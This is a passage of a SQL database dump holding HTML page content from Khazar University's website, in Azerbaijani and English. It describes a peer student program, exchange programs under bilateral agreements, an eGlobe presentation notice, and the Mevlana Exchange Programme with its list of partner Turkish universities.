ya ofisimizə gətirə bilərsən.&nbsp;</p><p class=\"undefined\"><br></p><p class=\"undefined\"><strong>Əlaqə:</strong>&nbsp;Beynəlxalq Əlaqələr Ofisi&nbsp;Xəzər Universiteti,&nbsp;</p><p class=\"undefined\" style=\"font-weight:normal\">Neftçilər kampusu&nbsp;41 Məhsəti küç. Bakı, AZ1096, Azərbaycan</p><p class=\"undefined\"><strong>Tel:&nbsp;</strong>(+994 12) 421 79 16 (240)</p><p class=\"undefined\"><strong>E-mail:</strong>&nbsp;international@khazar.org </p> <br><br><div><br></div><div><strong></strong></div>'),(743,523,'en','Peer Student Program','Peer Student Program','<div><strong><br></strong></div><p><strong>Explore New Cultures and Meet New Friends through the Peer Student Program!</strong>&nbsp;</p><div><br></div><div><img src=\"/files/14_12_09_International_students%201.JPG\" style=\"width:200px;height:150px;margin:7px;float:left\">&nbsp; &nbsp;&nbsp;<img src=\"/files/14_12_09_int.jpg\" style=\"width:220px;height:156px;margin:7px;vertical-align:top\">&nbsp; &nbsp; &nbsp;<img src=\"/files/14_12_09_m.jpg\" style=\"width:220px;height:139px;margin:7px;float:left\"></div><div><br></div><p><strong>If you want to:</strong></p><ul><li>learn about different cultures</li><li>meet new people from different countries</li><li>participate in International Conferences</li><li>practice and improve your English</li><li>share Azerbaijani culture and student life with international students</li></ul><p>&nbsp;<strong>Then our Peer Student Program is for YOU!</strong>&nbsp;</p><p>The International Affairs Office of Khazar University is looking for students who:&nbsp;</p><ul><li>are hard-working, intelligent and sociable</li><li>have goals for the future</li><li>speak English</li><li>perform well in their studies</li></ul><p>&nbsp;Peer students will support the International Affairs Office in:</p><ul><li>meeting and placement of international students and foreign professors</li><li>supporting the international students in their understanding of and adjustment to life and study in Azerbaijan</li><li>organizing various social events</li><li>assisting in other tasks</li></ul><p>If you want to become a Peer Student, send&nbsp;your<strong> CV</strong>&nbsp;and&nbsp;a&nbsp;<strong>motivation letter</strong> to&nbsp;the email address below or bring them to our office.</p><p><br></p><p><strong>Contact:&nbsp;</strong>International Affairs Office&nbsp;Khazar University&nbsp;</p><p>Neftchilar Campus&nbsp;41 Mehseti Street Baku, AZ1096, Azerbaijan</p><p><strong>Tel:</strong>&nbsp;&nbsp;(+994 12) 421 79 16 (240)</p><p><strong>E-mail:&nbsp;</strong>international@khazar.org</p>'),(744,524,'en','Student Exchange Programs','Student Exchange Programs','<p><strong>Incoming&nbsp;students&nbsp;</strong> </p><p>Students willing to come to Khazar University for exchange programs must apply to their home universities (if partner agreement exists), or directly to&nbsp;<strong><strong><a href=\"http://www.khazar.org/en/menus/505/contact_us\">International Affairs Office</a></strong>&nbsp;</strong>of Khazar University&nbsp;</p><p><strong>Application Incoming Students&nbsp;</strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/en/menus/497/khazar_university_international_scholarship_program_sup_style_color_red_new_sup_\">KU Scholarship Program for International Students</a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/497/khazar_university_international_scholarship_program_sup_style_color_red_new_sup_\"></a></strong><strong>Outgoing Students&nbsp;</strong></p><p><strong>Opportunities for students of Khazar University:&nbsp;</strong></p><ul><li>Study abroad in one of our partner universities: Exchange under Bilateral Agreements&nbsp;</li><li>Study in Europe: <strong><a href=\"http://www.khazar.org/en/menus/493/_erasmus_mundus\">Erasmus Mundus&nbsp;</a></strong></li><li>Study in Turkey: <strong><a href=\"http://www.khazar.org/en/menus/492/mevlana_exchange_programme\">Mevlana Exchange Programme</a></strong></li></ul><br><p><strong><a href=\"http://www.khazar.org/en/menus/492/mevlana_exchange_programme\"></a></strong></p><br><div><strong><a href=\"http://www.khazar.org/en/menus/492/mevlana_exchange_programme\"></a></strong></div>'),(746,525,'az','İkili Müqavilə əsasında Tələbə Mübadiləsi','İkili Müqavilə əsasında Tələbə Mübadiləsi','<p><strong>Tələbə mübadilə proqramları</strong></p><p>İkitərəfli müqavilə əsasında tələbə mübadiləsi proqramı</p><p>Tələbələr təhsil haqqını öz təhsil müəssisələrinə ödəyəcəklər. Tələbələri qəbul edən universitetlər heç bir ödəniş haqqı tələb etməyəcəklər. Tələbələr özləri səyahət, yaşayış, sağlamlıq, sığorta və digər xərclərə görə məsuliyyət daşıyır.</p><p><strong>Kimlər müraciət edə bilər:</strong></p><ul><li>Bakalavr pilləsinin I kursunu, magistratura pilləsinin I semestrini bitirmiş tələbələr</li><li>Minimum 80 GPA olan tələbələr</li><li>İngilis dil bilikləri olan tələbələri</li></ul><p><strong>Seçim mərhələsi:</strong></p><ul><li>Mübadilə proqramı haqqında elan</li><li>Tələbələr ərizə formasını Beynəlxalq Ofisə təqdim edirlər. İlk seçim mərhələsindən sonra yalnız seçilmiş namizədlər müsahibə mərhələsinə buraxılır.&nbsp;<strong><a href=\"http://www.khazar.org/files/pdf/Application_Outgoing_Students.docx\">Application Outgoing Students</a></strong></li><li>Müsahibə Beynəlxalq Ofis numayəndəsini və müvafiq fakultənin dekani tərəfindən aparilır.</li><li>Seçim nəticələri elan olunur.&nbsp;</li></ul><p><br></p><p><strong>Gələn tələbələr</strong></p><p>Mübadilə proqramı əsasında Xəzər Universitetinə gəlmək arzusunda olan tələbələr öz universitetlərinə (əgər əməkdaşlıq müqaviləsi mövcuddursa), və ya birbaşa Xəzər Universitetinin&nbsp;<strong><a href=\"http://www.khazar.org/az/menus/505/_bizimle_elaqe\">Beynəlxalq Əlaqələr Ofisinə</a>&nbsp;</strong>müraciət edə biklərlər.</p><p><strong><a href=\"http://www.khazar.org/files/pdf/Application_Incoming_Students.docx\">Ərizə formasını yüklə</a>&nbsp;&nbsp;</strong></p>'),(745,524,'az','Tələbə Mübadilə Proqramları','Tələbə Mübadilə Proqramları','<p><strong>Xəzər Universitəsində təhsil almaq istəyən əcnəbi tələbələr</strong></p><p>Xəzər Universitəində mübadilə proqramları ilə təhsil almaq arzusunda olan əcnəbi tələbələr (Xəzər Universitəsi ilə ikitərəfli müqavilə olduğu halda) öz universitetlərinə və ya birbaşa Xəzər Universitetinin <a href=\"http://www.khazar.org/az/menus/159/beynelxalq_elaqeler_ofisi\"><strong>Beynəlxalq Əlaqələr Ofisi</strong></a>nə müraciət edə bilər.</p><p><a href=\"http://www.khazar.org/files/pdf/Application_Incoming_Students.docx\"><strong>Xəzər Universitəsində təhsil almaq istəyən əcnəbi tələbələr üçün ərizə forması</strong></a></p><p><strong><strong><a href=\"http://www.khazar.org/az/menus/497/_xezer_universiteti_beynelxalq_teqaud_proqrami_sup_style_color_red_yeni_sup_\">Xəzər Universitəsi Beynəlxalq Təqaüd Proqramı</a></strong></strong></p><p><strong>Xaricdə təhsil almaq istəyən Xəzər Universitəsi tələbələri</strong></p><p><strong>Xəzər Universitəsinin tələbələri üçün imkanlar:</strong></p><ul><li>Partnyor Universitələrindən biri ilə xaricdə təhsil: <strong style=\"font-weight:bold\"><a href=\"http://www.khazar.org/az/menus/491/ikili_muqavile_esasinda_telebe_mubadilesi\">İkitərəfli Müqavilə əsasında Mübadilə</a></strong></li><li>Avropada təhsil: <strong style=\"font-weight:bold\"><a href=\"http://www.khazar.org/az/menus/493/erasmus_mundus\">Erasmus Mundus</a></strong>  </li><li>Türkiyədə təhsil: <strong style=\"font-weight:bold\"><a href=\"http://www.khazar.org/az/menus/492/_mevlana_mubadile_proqrami\">Mevlana Mübadilə Proqramı</a></strong></li></ul><br><ul style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"></ul>'),(747,525,'en','Exchanges under Bilateral Agreements','Exchanges under Bilateral Agreements','<p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;line-height:normal;background:white\"\"=\"\"><strong>Exchange Programs\r\nunder Bilateral Agreements</strong></p><p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">Students\r\nwill pay their tuition fees to their home institutions. No further tuition\r\ncosts will be charged by the host institutions. The students are responsible\r\nfor travel, living, healthcare, insurance or other expenses incurred by the\r\nstudents.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\"><strong>Eligibility</strong></p><ul><li>Students\r\nwho have completed at least one year of undergraduate and one semester of\r\ngraduate studies</li><li>Students\r\nwith minimum GPA 80 &nbsp;</li><li>English\r\nLanguage Proficiency</li></ul><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\"><strong>Selection\r\nProcess</strong></p><ul><li>Announcement\r\nabout exchange program</li><li>Students\r\nsend application form to International Affairs Office. After first selection\r\nprocess only shortlisted candidates will be interviewed. <a href=\"http://www.khazar.org/files/pdf/Application_Outgoing_Students.docx\"><strong>Application\r\nOutgoing Students</strong></a></li><li>Interview\r\nis held by IO representative and deans of appropriate schools</li><li>Final\r\nSelection results are announced</li></ul><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">All interested students\r\nshould address their questions to the International Affairs Office.</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Incoming students</strong></p><p>\r\nStudents willing to come to Khazar University for\r\nexchange programs must apply to their home universities (if partner agreement\r\nexists), or directly to&nbsp;<strong><a href=\"http://www.khazar.org/en/menus/505/contact_us\">International Affairs Office</a></strong>   of Khazar University  </p><p><strong><a href=\"http://www.khazar.org/files/pdf/Application_Incoming_Students.docx\">Application Incoming Students</a>&nbsp;</strong></p>'),(3602,2111,'en','BETA Version of eGlobe Project to be Presented','On May 3, 2017, the Khazar University Career Center will organize a presentation of BETA version of eGlobe...','<p>On May 3, 2017, the Khazar\r\nUniversity Career Center will organize a presentation of BETA version of <em>eGlob</em>e project at&nbsp; university\'s Neftchilar campus (206 OLD). The\r\npresentation will take place from 4 P.M to 5 P.M.</p>\r\n<p>Representatives of the company\r\nwill give information about terms of use of the project, general and technical functionality\r\nof it, <em>AI, Big data, Deep learning</em>\r\nsystems and their application in economy and other fields. </p>\r\n<p>It should be noted that, eGlobe\r\nis a functional social networking platform for artificial intelligence developed\r\nby Azerbaijani programmers for economic analysts. The platform is intended for\r\nuniversities and financial institutions.&nbsp;</p>\r\n<p>Students and academic staff are\r\ninvited to the event.</p>'),(748,526,'az','Mevlana Mübadilə Proqramı','Mevlana Mübadilə Proqramı','<div><div><br></div><div><a href=\"http://www.khazar.org/files/mevlane.jpg\"><img src=\"http://www.khazar.org/files/mevlane.jpg\" style=\"border:0px #000000;width:250px;height:229px;margin:7px;float:left\"></a></div></div><p><strong>Xəzər Universiteti Mevlana Mübadilə Proqramını elan edir!</strong>&nbsp;<br></p><p><strong></strong>Əziz Tələbələr və Müəllimlər,&nbsp;</p><p>2018-2019-cu tədris ili üçün Xəzər Universiteti və Türkiyə Universitetləri arasında nəzərdə tutulan Mevlana Mübadilə Proqramı elan olunub.</p><p>Maraqlanan tələbə və müəllimlər 15-21 fevral 2018-ci il tarixləri arasında öz ərizələrini Beynəlxalq Əlaqələr Şöbəsinə təqdim etməlidirlər.  .&nbsp;</p><p><br></p><p>Mevlana Mübadilə Proqramının elanı&nbsp;<br></p><p><br></p><table cellspacing=\"0\" cellpadding=\"0\" style=\"\" mso-cellspacing:0in;background:white;border-width:1px;border-style:solid;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\">\r\n <tbody>\r\n <tr>\r\n  <td width=\"422\" style=\"width:316.5pt;padding:0in 0in 0in 0in;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal\"\"=\"\">Mübadilə proqramı\r\n  üçün sənədlərin toplanması</p>\r\n  </td>\r\n  <td width=\"201\" style=\"width:150.7pt;padding:0in 0in 0in 0in;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal\"\"=\"\">15-21&nbsp;fevral, 2018</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"422\" style=\"width:316.5pt;padding:0in 0in 0in 0in;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal\"\"=\"\">Sənədlərin təhvil\r\n  verilməsi üçün son gün</p>\r\n  </td>\r\n  <td width=\"201\" style=\"width:150.7pt;padding:0in 0in 0in 0in;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal\"\"=\"\">17:00, 21 fevral, 2018  </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"422\" style=\"width:316.5pt;padding:0in 0in 0in 0in;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal\"\"=\"\">Müraciətlərin\r\n  qiymətləndirilməsi</p>\r\n  </td>\r\n  <td width=\"201\" style=\"width:150.7pt;padding:0in 0in 0in 0in;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal\"\"=\"\">Mart, 2018</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"422\" style=\"width:316.5pt;padding:0in 0in 0in 0in;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal\"\"=\"\">Nəticələrin elanı</p>\r\n  </td>\r\n  <td width=\"201\" style=\"width:150.7pt;padding:0in 0in 0in 0in;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal\"\"=\"\">Elan olunacaq</p>\r\n  </td>\r\n </tr>\r\n</tbody></table> <p><strong>&nbsp;</strong></p><p><strong></strong>Əlavə məlumat üçün:&nbsp;<a href=\"https://www.yok.gov.tr/web/mevlana/anasayfa\" target=\"_blank\">Mevlana Mübadilə Proqramı</a>&nbsp;</p><p><strong>Mevlana Mübadilə Proqramı</strong></p><p><strong></strong>Mevlana Mübadilə Proqramı Türkiyə universitetləri və digər universitetlər arasında tələbə və müəllimlərin mübadiləsini həyata keçirən proqramdır. Bu proqram vasitəsilə azərbaycanlı tələbələr Türkiyədə 1 və ya 2 semestr təhsil ala, müəllimlər isə 1 həftə - 3 ay müddətində təcrübə keçə bilərlər.&nbsp;</p><p><strong>Mevlana kimdir?</strong></p><p><strong></strong>Proqram görkəmli şair və filosof Mevlana Məhəmməd Cəlaləddinin şərəfinə belə adlandırılmışdır. Qərbdə Rumi kimi tanınan şairin XIII əsrdə yaşamasına baxmayaraq, onun sufizmin duyulduğu əsərləri dövrümüzdə də sevilərək oxunmaqdadır. O “Gəl, kim olursan ol, yenə də gəl” misraları ilə heç bir fərq qoymadan insanları humanizmə səsləmişdir. Mərhəməti, qarşılıqsız və sonsuz insan sevgisi, eləcə də sonsuz səbri təkcə İslam aləminə deyil, bütün dünyada insanlara dərin təsir bağışlamışdır. UNESCO 2007-ci ili - Mevlananın ölümünün 800-cü ilini&nbsp;<em>Rumi ili</em>&nbsp;kimi elan etmişdir.&nbsp;</p><p><strong><strong>Müracət üçün tələblər</strong>&nbsp;</strong></p><p><strong><strong>Tələbələr:</strong>  <br></strong></p><ul><li>Təhsil aldığı universitetdə assosiativ dərəcə, bakalavr, magistr və ya doktorantura tələbəsi olmalıdırlar.</li><li>Əgər assosiativ dərəcə və ya bakalavr tələbəsidirsə, &nbsp;2.5/4 bal ortalaması, magistr və ya doktorantura tələbəsidirsə 3.0/4 &nbsp;bal ortalaması olmalıdır</li><li>50% dil üzrə bal + 50% GPA</li></ul><p>İlk tədris ilinin 1-ci semestrində təhsil alan bakalavr dərəcəsinin tələbələri, hazırlıq sinifində oxuyan magistr və doktorantura tələbələri bu proqramdan faydalana bilməzlər.&nbsp;<strong>&nbsp;</strong></p><p><strong>Müəllimlər:</strong></p><ul><li>Əvvəlcə bu proqramdan yararlanmamalıdırlar.</li><li>Seçdiyi universitetin tədris dili üzrə kifayət qədər dil biliyinə malik olmalıdırlar.&nbsp;</li></ul><p><strong><br></strong></p><p><strong>Tələb olunan sənədlər</strong></p>\r\n<p><strong>Tələbələr üçün:</strong></p><p><strong></strong>1.&nbsp;<a href=\"http://www.khazar.org/files/letters/Candidate_Student_%20Application_Form.docx\">&nbsp;Aday\r\n     öğrenci başvuru formu (şəkillə birgə)</a></p><p>2.&nbsp;<a href=\"http://www.khazar.org/files/letters/Student_Information_Form.docx\">Öğrenci\r\n     bilgi formu</a></p><p>3.&nbsp;<a href=\"http://www.khazar.org/files/letters/Student_Application_Form.docx\">Öğrenci\r\n     başvuru formu&nbsp;(şəkillə birgə)</a></p><p>4.&nbsp;Transkript</p><p>5.&nbsp;Dil\r\n     sertifikatı (Xəzər Universitetinin İngilis dili və ədəbiyyatı\r\n     departamentindən&nbsp;arayış və ya IELTS, TOEFL)</p><p><br></p>\r\n<p><strong>Müəllimlər\r\nüçün:</strong></p><p><strong></strong>1.&nbsp;<a href=\"http://www.khazar.org/files/letters/Academic_Staff_Information_Form.docx\">Öğretim\r\n     elemanı bilgi formu</a></p><p>2.&nbsp;<a href=\"http://www.khazar.org/files/letters/Academic_Staff_Mobility_Programme.docx\">Öğretim elemanı haraketlilik programı</a></p><p>3.&nbsp;CV</p><p>4.&nbsp;Gediləcək\r\n     universitetdə işləmək istədiyi mövzu ilə əlaqəli layihə və məqalələrinin\r\n     siyahısı</p><p>5.&nbsp;Seminarın\r\n     iş planı</p><p><br></p><p>Mevlana mübadilə proqramının&nbsp;<a href=\"http://www.khazar.org/files/pdf/Mevlana_brochure.pdf\" target=\"_blank\">broşuru</a>&nbsp;Mevlana mübadilə proqramının&nbsp;<a href=\"http://www.khazar.org/files/pdf/MEVLANA_EXCHANGE_PROGRAMME_PRESENTATION.pdf\" target=\"_blank\">təqdimatı</a>&nbsp;Mübadilə imkanları aşağıdakı cədvəldə öz əksini tapır:&nbsp;</p><table cellspacing=\"0\" cellpadding=\"0\" width=\"790px\"><tbody><tr><td colspan=\"3\" width=\"638\">&nbsp;<strong>Mevlana Mübadilə Proqramı çərçivəsində Xəzər Universiteti ilə əməkdaşlıq edən Türkiyə Universitetləri</strong><strong><br></strong></td></tr><tr><td width=\"213\"><strong>1.Ahi Evran University,&nbsp;<em>Kırshehir.<br></em></strong><a href=\"http://www.ahievran.edu.tr/\" target=\"_blank\"><strong>Rəsmi Səhifə</strong></a><br><strong><a href=\"http://old.khazar.org/files/Ahi%20Evran%20Universiteti.pdf\">Mübadilə Planı</a><br></strong><strong>E-mail:&nbsp;<a href=\"mailto:intoffice@ahievran.edu.tr\">intoffice@ahievran.edu.tr</a>&nbsp;</strong></td><td width=\"213\"><strong>2.Çukurova University,&nbsp;<em>Adana</em>.</strong>&nbsp;<br><a href=\"http://www.cu.edu.tr/\" target=\"_blank\"><strong>Rəsmi Səhifə&nbsp;</strong></a><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/%C3%87ukurova%20University.PDF\" target=\"_blank\">Mübadilə Planı</a><br></strong><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@cu.edu.tr\">mevlana@cu.edu.tr</a></strong><br></strong></td><td width=\"213\"><strong>3.Erciyes University,<em>&nbsp;Kayseri.</em></strong><strong><em>&nbsp;</em></strong>&nbsp;<br><a href=\"http://www.erciyes.edu.tr/\" target=\"_blank\"><strong>Rəsmi Səhifə&nbsp;</strong></a><br><strong><a href=\"http://old.khazar.org/files/Erciyes%20Universiteti.pdf\">Mübadilə Planı</a><br></strong><strong><strong>E-mail:&nbsp;&nbsp;<a href=\"mailto:mevlana@erciyes.edu.tr\">mevlana@erciyes.edu.tr</a></strong></strong><strong><br></strong></td></tr><tr><td width=\"213\"><strong>4.&nbsp;Gazi University,&nbsp;<em>&nbsp;Ankara.</em></strong>&nbsp;<br><a href=\"http://www.gazi.edu.tr/\" target=\"_blank\"><strong>Rəsmi Səhifə&nbsp;</strong></a><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Gazi%20Universiteti.pdf\">Mübadilə Planı</a><br></strong><strong>E-mail:&nbsp;&nbsp;<a href=\"mailto:mevlana@gazi.edu.tr\">mevlana@gazi.edu.tr</a></strong></td><td width=\"213\"><strong>5.&nbsp;Izmir Katip Celebi University,<em>&nbsp;Izmir.</em></strong>&nbsp;<br><a href=\"http://www.ikc.edu.tr/\" target=\"_blank\"><strong>Rəsmi Səhifə&nbsp;</strong></a><br><strong><a href=\"http://www.khazar.org/files/admin/Izmir%20Katip%20Celebi%20University.pdf\">Mübadilə Planı</a><br></strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@ikc.edu.tr\">mevlana@ikc.edu.tr</a></strong><strong><br></strong></td><td width=\"213\"><strong>6.Kastamonu University,<em>&nbsp;Kastamonu.</em></strong>&nbsp;<br><a href=\"http://www.kastamonu.edu.tr/\" target=\"_blank\"><strong>Rəsmi Səhifə&nbsp;</strong></a><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Kastamonu%20Universiteti.pdf\" target=\"_blank\">Mübadilə Planı</a><br></strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@kastamonu.edu.tr\">mevlana@kastamonu.edu.tr</a></strong></td></tr><tr><td width=\"213\"><strong>7.Okan University,<em>&nbsp; Istanbul.</em></strong>&nbsp;<br><a href=\"http://www.okan.edu.tr/\" target=\"_blank\"><strong>Rəsmi Səhifə&nbsp;</strong></a><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Okan%20Universiteti.pdf\">Mübadilə Planı</a><br></strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@okan.edu.tr\">mevlana@okan.edu.tr</a></strong></td><td width=\"213\"><strong>8.Sinop University,<em>&nbsp; Sinop.</em></strong>&nbsp;<br><a href=\"http://www.sinop.edu.tr/\" target=\"_blank\"><strong>Rəsmi Səhifə&nbsp;</strong></a><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Sinop%20Universiteti.pdf\" target=\"_blank\">Mübadilə Planı</a><br></strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@sinop.edu.tr\">mevlana@sinop.edu.tr</a></strong></td><td width=\"213\"><strong>9.Balikesir University</strong>,&nbsp;<strong><em>Balikesir</em></strong>.<br><strong><a href=\"http://www.balikesir.edu.tr/\" target=\"_blank\">Rəsmi Səhifə</a></strong><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Balikesir%20Universiteti.pdf\">Mübadilə Planı</a><br></strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@balikesir.edu.tr\">mevlana@balikesir.edu.tr</a></strong><strong><br></strong></td></tr><tr><td width=\"213\"><strong>10.Artvin Coruh University,&nbsp;<em>Artvin.&nbsp;<br></em></strong><a href=\"http://www.artvin.edu.tr/\" target=\"_blank\"><strong>Rəsmi Səhifə</strong></a><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Artvin%20Coruh%20Universiteti.pdf\" target=\"_blank\">Mübadilə Planı</a><br></strong><strong><strong>E-mail:&nbsp;<a href=\"mailto:intoffice@artvin.edu.tr\">acumevlana@artvin.edu.tr</a></strong><br></strong></td><td width=\"213\"><strong>11.Kilis 7 Aralik University,&nbsp;<em>Kilis</em>.</strong><strong>&nbsp;<br></strong><a href=\"http://www.kilis.edu.tr/\" target=\"_blank\"><strong>Rəsmi Səhifə</strong></a>&nbsp;&nbsp;<br><strong>Mübadilə Planı<br></strong><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@kilis.edu.tr\">mevlana@kilis.edu.tr</a></strong><br></strong></td><td width=\"213\"><strong>12.Beykent University</strong>,&nbsp;<strong><em>İstanbul</em></strong>.<br><a href=\"http://www.beykent.edu.tr/\" target=\"_blank\"><strong>Rəsmi Səhifə</strong></a><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Beykent%20Universiteti.pdf\" target=\"_blank\">Mübadilə Planı</a><br></strong><strong><strong>E-mail:&nbsp;&nbsp;<a href=\"mailto:mevlana@beykent.edu.tr\">mevlana@beykent.edu.tr</a></strong></strong><strong><br></strong></td></tr><tr><td width=\"213\"><strong>13.Uludag University</strong>,&nbsp;<strong><em>&nbsp;Bursa.</em></strong>&nbsp;<br><a href=\"http://www.uludag.edu.tr/\" target=\"_blank\"><strong>Rəsmi Səhifə</strong></a><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Uludagh_Khazar.pdf\">Mübadilə Planı</a><br></strong><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@uludag.edu.tr\">mevlana@uludag.edu.tr</a></strong><br></strong><strong><br></strong></td><td width=\"213\"><strong>14. Giresun University,</strong>&nbsp;<strong><em>Giresun.</em></strong>&nbsp;<br><a href=\"http://www.giresun.edu.tr/\" target=\"_blank\"><strong>Rəsmi Səhifə</strong></a><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Giresun%20-%20Khazar.pdf\" target=\"_blank\">Mübadilə Planı</a><br></strong><strong><strong>E-mail:&nbsp;&nbsp;<a href=\"mailto:mevlana@giresun.edu.tr\">mevlana@giresun.edu.tr</a></strong><br></strong></td><td width=\"213\"><strong>15. Sakarya University,</strong>&nbsp;<strong><em>Sakarya.</em></strong>&nbsp;<br><a href=\"http://www.sakarya.edu.tr/\" target=\"_blank\"><strong>Rəsmi Səhifə</strong></a><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Sakarya%20-%20Khazar.pdf\">Mübadilə Planı</a><br></strong><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@sakarya.edu.tr\">mevlana@sakarya.edu.tr</a></strong><br></strong></td></tr><tr><td width=\"213\"><strong>16. İnönü University,&nbsp;</strong>&nbsp;<strong><em>Malatya.<br></em></strong><a href=\"http://www.inonu.edu.tr/\" target=\"_blank\"><strong>Rəsmi Səhifə</strong></a><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Inonu-%20Khazar.pdf\" target=\"_blank\">Mübadilə Planı</a><br></strong><strong><strong>E-mail:&nbsp;&nbsp;<a href=\"mailto:mevlana@inonu.edu.tr\">mevlana@inonu.edu.tr</a></strong><br></strong></td><td width=\"213\"><strong>17. Kafkas University,<em>&nbsp;Kars.</em></strong>&nbsp;<br><a href=\"http://www.kafkas.edu.tr/\" target=\"_blank\"><strong>Rəsmi Səhifə</strong></a><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Kafkas%20-Khazar.pdf\">Mübadilə Planı</a><br></strong><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@kafkas.edu.tr\">mevlana@kafkas.edu.tr</a></strong><br></strong></td><td width=\"213\"><strong>18. Yıldız Technical University,<em>&nbsp;Istanbul</em></strong>&nbsp;<br><a href=\"http://www.yildiz.edu.tr/\" target=\"_blank\"><strong>Rəsmi Səhifə</strong></a><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Yildiz%20Teknik%20University.pdf\" target=\"_blank\">Mübadilə Planı</a><br></strong><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@yildiz.edu.tr\">mevlana@yildiz.edu.tr</a></strong></strong><strong><br></strong></td></tr><tr><td width=\"213\"><strong>19. Fırat University</strong>,&nbsp;<strong><em>Elazığ</em></strong><strong><em>.<br></em></strong><strong><a href=\"http://www.firat.edu.tr/\" target=\"_blank\">Rəsmi Səhifə</a>&nbsp;</strong><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/F%C4%B1rat%20Universiteti.pdf\">Mübadilə Planı</a><br></strong><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@firat.edu.tr\">mevlana@firat.edu.tr</a></strong><br></strong><ul></ul></td><td width=\"213\"><strong>20. Aksaray University</strong>,&nbsp;<strong><em>Aksaray</em></strong>.<br><strong><a href=\"http://www.aksaray.edu.tr/\" target=\"_blank\">Rəsmi Səhifə&nbsp;</a>&nbsp;</strong><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Aksaray%20Universiteti.pdf\">Mübadilə Planı</a><br></strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@aksaray.edu.tr\">mevlana@aksaray.edu.tr</a></strong></td><td width=\"213\"><strong>21.&nbsp;Uşak University</strong>,&nbsp;<strong><em>Uşak</em></strong>.<br><strong><a href=\"http://www.usak.edu.tr/\" target=\"_blank\">Rəsmi Səhifə</a>&nbsp;</strong><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/U%C5%9Fak%20Universiteti.pdf\">Mübadilə Planı</a><br></strong><strong><strong>E-mail:&nbsp;&nbsp;<a href=\"mailto:mevlana@usak.edu.tr\">mevlana@usak.edu.tr</a></strong><br></strong><ul></ul></td></tr><tr><td width=\"213\"><strong>22. Muş Alparslan University</strong>,&nbsp;<strong><em>Muş.<br></em></strong><strong><a href=\"http://www.alparslan.edu.tr/\" target=\"_blank\">Rəsmi Səhifə&nbsp;</a></strong><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Mu%C5%9F%20Alparslan%20Universiteti.pdf\">Mübadilə Planı</a><br></strong><strong><strong>E-mail:&nbsp;&nbsp;<a href=\"mailto:mevlana@alparslan.edu.tr\">mevlana@alparslan.edu.tr</a></strong><br></strong><ul></ul></td><td width=\"213\"><strong>23. Kahramanmaraş Sütçü İmam University,&nbsp;<em>Kahramanmaraş<br></em></strong><strong><a href=\"http://www.ksu.edu.tr/\" target=\"_blank\">Rəsmi Səhifə</a>&nbsp;</strong><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Kahramanmara%C5%9F%20S%C3%BCt%C3%A7%C3%BC%20%C4%B0mam%20Universiteti.pdf\">Mübadilə Planı</a><br></strong><strong>E-mail:&nbsp;&nbsp;<a 